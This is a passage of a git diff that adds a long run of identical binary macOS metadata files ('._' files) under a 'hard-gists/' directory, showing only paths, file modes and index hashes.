Binary files /dev/null and b/hard-gists/._1074124 differ
diff --git a/hard-gists/._1074202 b/hard-gists/._1074202
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1074202 differ
diff --git a/hard-gists/._1074227 b/hard-gists/._1074227
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1074227 differ
diff --git a/hard-gists/._1074551 b/hard-gists/._1074551
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1074551 differ
diff --git a/hard-gists/._1077318 b/hard-gists/._1077318
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1077318 differ
diff --git a/hard-gists/._1077970 b/hard-gists/._1077970
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1077970 differ
diff --git a/hard-gists/._10792332 b/hard-gists/._10792332
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10792332 differ
diff --git a/hard-gists/._1082570 b/hard-gists/._1082570
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1082570 differ
diff --git a/hard-gists/._1083908 b/hard-gists/._1083908
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1083908 differ
diff --git a/hard-gists/._1088273 b/hard-gists/._1088273
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1088273 differ
diff --git a/hard-gists/._1091026 b/hard-gists/._1091026
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1091026 differ
diff --git a/hard-gists/._10938795 b/hard-gists/._10938795
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10938795 differ
diff --git a/hard-gists/._1094832 b/hard-gists/._1094832
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1094832 differ
diff --git a/hard-gists/._10955449 b/hard-gists/._10955449
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10955449 differ
diff --git a/hard-gists/._1096373 b/hard-gists/._1096373
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1096373 differ
diff --git a/hard-gists/._1098968 b/hard-gists/._1098968
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1098968 differ
diff --git a/hard-gists/._10a742de43246210f3ba b/hard-gists/._10a742de43246210f3ba
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10a742de43246210f3ba differ
diff --git a/hard-gists/._10cd35b2872628246140 b/hard-gists/._10cd35b2872628246140
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10cd35b2872628246140 differ
diff --git a/hard-gists/._1104507 b/hard-gists/._1104507
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1104507 differ
diff --git a/hard-gists/._1104553 b/hard-gists/._1104553
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1104553 differ
diff --git a/hard-gists/._1107375 b/hard-gists/._1107375
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1107375 differ
diff --git a/hard-gists/._11078820 b/hard-gists/._11078820
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11078820 differ
diff --git a/hard-gists/._1108817 b/hard-gists/._1108817
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1108817 differ
diff --git a/hard-gists/._1109153 b/hard-gists/._1109153
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1109153 differ
diff --git a/hard-gists/._1112928 b/hard-gists/._1112928
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1112928 differ
diff --git a/hard-gists/._11129975 b/hard-gists/._11129975
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11129975 differ
diff --git a/hard-gists/._11181988 b/hard-gists/._11181988
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11181988 differ
diff --git a/hard-gists/._1118585 b/hard-gists/._1118585
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1118585 differ
diff --git a/hard-gists/._11192605 b/hard-gists/._11192605
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11192605 differ
diff --git a/hard-gists/._111c8ee32505a11ad7a6c629f277c2a4 b/hard-gists/._111c8ee32505a11ad7a6c629f277c2a4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._111c8ee32505a11ad7a6c629f277c2a4 differ
diff --git a/hard-gists/._11215761 b/hard-gists/._11215761
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11215761 differ
diff --git a/hard-gists/._11242170 b/hard-gists/._11242170
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11242170 differ
diff --git a/hard-gists/._1124bb02a9fd4abce3d86caf2f950cb2 b/hard-gists/._1124bb02a9fd4abce3d86caf2f950cb2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1124bb02a9fd4abce3d86caf2f950cb2 differ
diff --git a/hard-gists/._1125832 b/hard-gists/._1125832
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1125832 differ
diff --git a/hard-gists/._11280233 b/hard-gists/._11280233
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11280233 differ
diff --git a/hard-gists/._11284662 b/hard-gists/._11284662
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11284662 differ
diff --git a/hard-gists/._11292725 b/hard-gists/._11292725
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11292725 differ
diff --git a/hard-gists/._1133602 b/hard-gists/._1133602
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1133602 differ
diff --git a/hard-gists/._1134410 b/hard-gists/._1134410
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1134410 differ
diff --git a/hard-gists/._113635 b/hard-gists/._113635
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._113635 differ
diff --git a/hard-gists/._11367287 b/hard-gists/._11367287
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11367287 differ
diff --git a/hard-gists/._11375647 b/hard-gists/._11375647
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11375647 differ
diff --git a/hard-gists/._11378945 b/hard-gists/._11378945
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11378945 differ
diff --git a/hard-gists/._1140136 b/hard-gists/._1140136
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1140136 differ
diff --git a/hard-gists/._1140516 b/hard-gists/._1140516
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1140516 differ
diff --git a/hard-gists/._11405336 b/hard-gists/._11405336
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11405336 differ
diff --git a/hard-gists/._1142740 b/hard-gists/._1142740
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1142740 differ
diff --git a/hard-gists/._1147973 b/hard-gists/._1147973
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1147973 differ
diff --git a/hard-gists/._11526013 b/hard-gists/._11526013
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11526013 differ
diff --git a/hard-gists/._11538913 b/hard-gists/._11538913
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._11538913 differ
diff --git a/hard-gists/._1160201 b/hard-gists/._1160201
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1160201 differ
diff --git a/hard-gists/._1160696 b/hard-gists/._1160696
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1160696 differ
diff --git a/hard-gists/._1161423 b/hard-gists/._1161423
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1161423 differ
diff --git a/hard-gists/._1165038 b/hard-gists/._1165038
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1165038 differ
diff --git a/hard-gists/._1165344 b/hard-gists/._1165344
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1165344 differ
diff --git a/hard-gists/._1177373 b/hard-gists/._1177373
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1177373 differ
diff --git a/hard-gists/._1183767 b/hard-gists/._1183767
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1183767 differ
diff --git a/hard-gists/._1183842 b/hard-gists/._1183842
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1183842 differ
diff --git a/hard-gists/._1184264 b/hard-gists/._1184264
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1184264 differ
diff --git a/hard-gists/._1186126 b/hard-gists/._1186126
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1186126 differ
diff --git a/hard-gists/._1189327 b/hard-gists/._1189327
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1189327 differ
diff --git a/hard-gists/._1191457 b/hard-gists/._1191457
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1191457 differ
diff --git a/hard-gists/._1192059 b/hard-gists/._1192059
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1192059 differ
diff --git a/hard-gists/._1196291 b/hard-gists/._1196291
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1196291 differ
diff --git a/hard-gists/._1200485 b/hard-gists/._1200485
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1200485 differ
diff --git a/hard-gists/._1202066 b/hard-gists/._1202066
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1202066 differ
diff --git a/hard-gists/._1202516 b/hard-gists/._1202516
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1202516 differ
diff --git a/hard-gists/._1203640 b/hard-gists/._1203640
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1203640 differ
diff --git a/hard-gists/._1207636 b/hard-gists/._1207636
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1207636 differ
diff --git a/hard-gists/._1210791 b/hard-gists/._1210791
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1210791 differ
diff --git a/hard-gists/._1217855 b/hard-gists/._1217855
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1217855 differ
diff --git a/hard-gists/._1218932 b/hard-gists/._1218932
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1218932 differ
diff --git a/hard-gists/._1219671 b/hard-gists/._1219671
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1219671 differ
diff --git a/hard-gists/._1219955 b/hard-gists/._1219955
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1219955 differ
diff --git a/hard-gists/._1228626 b/hard-gists/._1228626
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1228626 differ
diff --git a/hard-gists/._1229681 b/hard-gists/._1229681
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1229681 differ
diff --git a/hard-gists/._1229685 b/hard-gists/._1229685
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1229685 differ
diff --git a/hard-gists/._1229770 b/hard-gists/._1229770
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1229770 differ
diff --git a/hard-gists/._122f258ba6eaa23dd9c5 b/hard-gists/._122f258ba6eaa23dd9c5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._122f258ba6eaa23dd9c5 differ
diff --git a/hard-gists/._1231964e784ab9acb65d b/hard-gists/._1231964e784ab9acb65d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1231964e784ab9acb65d differ
diff --git a/hard-gists/._1233846 b/hard-gists/._1233846
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1233846 differ
diff --git a/hard-gists/._1234843 b/hard-gists/._1234843
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1234843 differ
diff --git a/hard-gists/._1239373 b/hard-gists/._1239373
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1239373 differ
diff --git a/hard-gists/._1239674 b/hard-gists/._1239674
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1239674 differ
diff --git a/hard-gists/._1242589 b/hard-gists/._1242589
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1242589 differ
diff --git a/hard-gists/._1246146 b/hard-gists/._1246146
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1246146 differ
diff --git a/hard-gists/._1246268 b/hard-gists/._1246268
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1246268 differ
diff --git a/hard-gists/._1248728 b/hard-gists/._1248728
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1248728 differ
diff --git a/hard-gists/._1251716 b/hard-gists/._1251716
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1251716 differ
diff --git a/hard-gists/._1253332 b/hard-gists/._1253332
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1253332 differ
diff --git a/hard-gists/._1254809 b/hard-gists/._1254809
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1254809 differ
diff --git a/hard-gists/._125559 b/hard-gists/._125559
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._125559 differ
diff --git a/hard-gists/._1260ba896d448bad0eebdf26b80c00cc b/hard-gists/._1260ba896d448bad0eebdf26b80c00cc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1260ba896d448bad0eebdf26b80c00cc differ
diff --git a/hard-gists/._1262332 b/hard-gists/._1262332
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1262332 differ
diff --git a/hard-gists/._1264102 b/hard-gists/._1264102
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1264102 differ
diff --git a/hard-gists/._1265346 b/hard-gists/._1265346
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1265346 differ
diff --git a/hard-gists/._1267632 b/hard-gists/._1267632
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1267632 differ
diff --git a/hard-gists/._1268033 b/hard-gists/._1268033
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1268033 differ
diff --git a/hard-gists/._1269098 b/hard-gists/._1269098
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1269098 differ
diff --git a/hard-gists/._1269949 b/hard-gists/._1269949
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1269949 differ
diff --git a/hard-gists/._127368f7dc810dd37fe18aee87dd2ee2 b/hard-gists/._127368f7dc810dd37fe18aee87dd2ee2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._127368f7dc810dd37fe18aee87dd2ee2 differ
diff --git a/hard-gists/._1275204 b/hard-gists/._1275204
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1275204 differ
diff --git a/hard-gists/._1277655 b/hard-gists/._1277655
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1277655 differ
diff --git a/hard-gists/._1283684 b/hard-gists/._1283684
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1283684 differ
diff --git a/hard-gists/._1284577 b/hard-gists/._1284577
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1284577 differ
diff --git a/hard-gists/._1285742 b/hard-gists/._1285742
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1285742 differ
diff --git a/hard-gists/._1288025 b/hard-gists/._1288025
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1288025 differ
diff --git a/hard-gists/._1288160dad16cc473a53 b/hard-gists/._1288160dad16cc473a53
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1288160dad16cc473a53 differ
diff --git a/hard-gists/._1289286 b/hard-gists/._1289286
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1289286 differ
diff --git a/hard-gists/._1290744 b/hard-gists/._1290744
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1290744 differ
diff --git a/hard-gists/._12da69b95d010c8a810fd384cca8d02a b/hard-gists/._12da69b95d010c8a810fd384cca8d02a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._12da69b95d010c8a810fd384cca8d02a differ
diff --git a/hard-gists/._1303651 b/hard-gists/._1303651
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1303651 differ
diff --git a/hard-gists/._130583 b/hard-gists/._130583
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._130583 differ
diff --git a/hard-gists/._1306719 b/hard-gists/._1306719
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1306719 differ
diff --git a/hard-gists/._1307521 b/hard-gists/._1307521
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1307521 differ
diff --git a/hard-gists/._1308865 b/hard-gists/._1308865
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1308865 differ
diff --git a/hard-gists/._1309895 b/hard-gists/._1309895
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1309895 differ
diff --git a/hard-gists/._130cd92dc47c56c47030 b/hard-gists/._130cd92dc47c56c47030
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._130cd92dc47c56c47030 differ
diff --git a/hard-gists/._1310549 b/hard-gists/._1310549
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1310549 differ
diff --git a/hard-gists/._1315148 b/hard-gists/._1315148
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1315148 differ
diff --git a/hard-gists/._1320970 b/hard-gists/._1320970
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1320970 differ
diff --git a/hard-gists/._1321295 b/hard-gists/._1321295
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1321295 differ
diff --git a/hard-gists/._1321575 b/hard-gists/._1321575
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1321575 differ
diff --git a/hard-gists/._1321585 b/hard-gists/._1321585
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1321585 differ
diff --git a/hard-gists/._1323194 b/hard-gists/._1323194
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1323194 differ
diff --git a/hard-gists/._1326477 b/hard-gists/._1326477
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1326477 differ
diff --git a/hard-gists/._1327072 b/hard-gists/._1327072
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1327072 differ
diff --git a/hard-gists/._1329319 b/hard-gists/._1329319
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1329319 differ
diff --git a/hard-gists/._1337131 b/hard-gists/._1337131
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1337131 differ
diff --git a/hard-gists/._1338222 b/hard-gists/._1338222
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1338222 differ
diff --git a/hard-gists/._1342497 b/hard-gists/._1342497
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1342497 differ
diff --git a/hard-gists/._1342942 b/hard-gists/._1342942
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1342942 differ
diff --git a/hard-gists/._1343455 b/hard-gists/._1343455
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1343455 differ
diff --git a/hard-gists/._134acb5f7423312effcc98ec56679136 b/hard-gists/._134acb5f7423312effcc98ec56679136
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._134acb5f7423312effcc98ec56679136 differ
diff --git a/hard-gists/._1350641 b/hard-gists/._1350641
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1350641 differ
diff --git a/hard-gists/._1351047 b/hard-gists/._1351047
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1351047 differ
diff --git a/hard-gists/._1352028 b/hard-gists/._1352028
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1352028 differ
diff --git a/hard-gists/._1355170 b/hard-gists/._1355170
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1355170 differ
diff --git a/hard-gists/._1357185 b/hard-gists/._1357185
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1357185 differ
diff --git a/hard-gists/._1358794 b/hard-gists/._1358794
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1358794 differ
diff --git a/hard-gists/._1361643 b/hard-gists/._1361643
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1361643 differ
diff --git a/hard-gists/._13623f68e36fdad4cb67 b/hard-gists/._13623f68e36fdad4cb67
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._13623f68e36fdad4cb67 differ
diff --git a/hard-gists/._1362a8908be01e23041d b/hard-gists/._1362a8908be01e23041d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1362a8908be01e23041d differ
diff --git a/hard-gists/._1363730 b/hard-gists/._1363730
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1363730 differ
diff --git a/hard-gists/._1367378 b/hard-gists/._1367378
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1367378 differ
diff --git a/hard-gists/._1369619 b/hard-gists/._1369619
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1369619 differ
diff --git a/hard-gists/._1372780 b/hard-gists/._1372780
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1372780 differ
diff --git a/hard-gists/._137653 b/hard-gists/._137653
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._137653 differ
diff --git a/hard-gists/._137667 b/hard-gists/._137667
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._137667 differ
diff --git a/hard-gists/._1379479 b/hard-gists/._1379479
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1379479 differ
diff --git a/hard-gists/._1379652 b/hard-gists/._1379652
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1379652 differ
diff --git a/hard-gists/._1381489 b/hard-gists/._1381489
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1381489 differ
diff --git a/hard-gists/._1382972 b/hard-gists/._1382972
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1382972 differ
diff --git a/hard-gists/._1387470 b/hard-gists/._1387470
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1387470 differ
diff --git a/hard-gists/._1388243 b/hard-gists/._1388243
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1388243 differ
diff --git a/hard-gists/._1390853 b/hard-gists/._1390853
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1390853 differ
diff --git a/hard-gists/._1395810 b/hard-gists/._1395810
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1395810 differ
diff --git a/hard-gists/._139f710ca91ed5fabaf9e6616d2c762b b/hard-gists/._139f710ca91ed5fabaf9e6616d2c762b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._139f710ca91ed5fabaf9e6616d2c762b differ
diff --git a/hard-gists/._13f02f45a41ad90f454f b/hard-gists/._13f02f45a41ad90f454f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._13f02f45a41ad90f454f differ
diff --git a/hard-gists/._1401195 b/hard-gists/._1401195
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1401195 differ
diff --git a/hard-gists/._1402045 b/hard-gists/._1402045
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1402045 differ
diff --git a/hard-gists/._1402892 b/hard-gists/._1402892
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1402892 differ
diff --git a/hard-gists/._1410088 b/hard-gists/._1410088
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1410088 differ
diff --git a/hard-gists/._1410094 b/hard-gists/._1410094
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1410094 differ
diff --git a/hard-gists/._1411980 b/hard-gists/._1411980
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1411980 differ
diff --git a/hard-gists/._1417f55cb896a44e68a6 b/hard-gists/._1417f55cb896a44e68a6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1417f55cb896a44e68a6 differ
diff --git a/hard-gists/._1423116 b/hard-gists/._1423116
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1423116 differ
diff --git a/hard-gists/._1423373 b/hard-gists/._1423373
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1423373 differ
diff --git a/hard-gists/._1424374 b/hard-gists/._1424374
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1424374 differ
diff --git a/hard-gists/._1433392 b/hard-gists/._1433392
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1433392 differ
diff --git a/hard-gists/._1433794 b/hard-gists/._1433794
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1433794 differ
diff --git a/hard-gists/._1435045 b/hard-gists/._1435045
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1435045 differ
diff --git a/hard-gists/._1435555 b/hard-gists/._1435555
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1435555 differ
diff --git a/hard-gists/._1436671 b/hard-gists/._1436671
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1436671 differ
diff --git a/hard-gists/._143e65a425722dc2f3d0 b/hard-gists/._143e65a425722dc2f3d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._143e65a425722dc2f3d0 differ
diff --git a/hard-gists/._1440567 b/hard-gists/._1440567
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1440567 differ
diff --git a/hard-gists/._1440754 b/hard-gists/._1440754
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1440754 differ
diff --git a/hard-gists/._1441019 b/hard-gists/._1441019
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1441019 differ
diff --git a/hard-gists/._144747 b/hard-gists/._144747
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._144747 differ
diff --git a/hard-gists/._1451300 b/hard-gists/._1451300
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1451300 differ
diff --git a/hard-gists/._1453629 b/hard-gists/._1453629
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1453629 differ
diff --git a/hard-gists/._1459283a9c934cbc41f3 b/hard-gists/._1459283a9c934cbc41f3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1459283a9c934cbc41f3 differ
diff --git a/hard-gists/._1467584 b/hard-gists/._1467584
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1467584 differ
diff --git a/hard-gists/._1473120 b/hard-gists/._1473120
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1473120 differ
diff --git a/hard-gists/._1483322 b/hard-gists/._1483322
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1483322 differ
diff --git a/hard-gists/._1486762 b/hard-gists/._1486762
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1486762 differ
diff --git a/hard-gists/._1495011 b/hard-gists/._1495011
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1495011 differ
diff --git a/hard-gists/._1497850 b/hard-gists/._1497850
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1497850 differ
diff --git a/hard-gists/._14a8d6bf4783f4704c8a b/hard-gists/._14a8d6bf4783f4704c8a
new file mode 100644
index 00000000..cd8af967
